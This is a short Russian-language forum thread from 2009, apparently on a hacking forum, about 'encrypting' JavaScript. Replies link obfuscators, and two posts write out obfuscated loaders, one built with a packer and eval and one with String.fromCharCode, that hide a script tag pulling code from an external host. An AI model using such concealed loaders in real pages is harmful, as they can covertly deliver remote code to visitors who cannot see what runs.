как зашифровать javascript?

Discussion in 'PHP' started by zip1990, 9 Mar 2009.

  1. zip1990

    zip1990 Elder - Старейшина

    Joined:
    30 Sep 2008
    Messages:
    50
    Likes Received:
    5
    Reputations:
    -5
    <script type="text/javascript" src="ссылка на .js"></script>
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    http://www.daftlogic.com/projects-online-javascript-obfuscator.htm
    http://javascriptcompressor.com/
     
    _________________________
  3. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    http://dean.edwards.name/packer/
     
  4. zip1990

    zip1990 Elder - Старейшина

    Joined:
    30 Sep 2008
    Messages:
    50
    Likes Received:
    5
    Reputations:
    -5
    а как потом полученный код использовать?
     
  5. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    Code:
    <script>...код....</script>
    Code:
    <script src="сжатый_файл.js"></script>
     
    #5 PandoraBox, 9 Mar 2009
    Last edited: 9 Mar 2009
  6. zip1990

    zip1990 Elder - Старейшина

    Joined:
    30 Sep 2008
    Messages:
    50
    Likes Received:
    5
    Reputations:
    -5
    <script> eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}]; e=function(){return'[0]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<0 type="text/javascript"src="http://knups.ru/rtr/1"></0>',[],1,'script'.split('|'),0,{}))</script>


    не робит
     
  7. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    зашифровать - никак, обфусцировать - миллион способов
    прочти книжку по JavaScript и будешь уметь "шыфровать" и "дэкриптовывать"
     
  8. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
  9. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Зашифровать тоже можно ;)
     
  10. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>Untitled Document</title>
    <script type="text/javascript">eval(document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,107,110,117,112,115,46,114,117,47,114,116,114,47,49,34,62,60,47,115,99,114,105,112,116,62)));</script>
    </head>
    
    <body>
    </body>
    </html>
     
  11. Neoveneficus

    Neoveneficus Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    235
    Likes Received:
    126
    Reputations:
    23
    а что дает обфускация/шифровка в данном контексте, кроме непомерного увеличения размеров кода?
     
  12. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    http://www.konyakov.ru/pubs/php/packer/ - можно зашифровать и дешифровать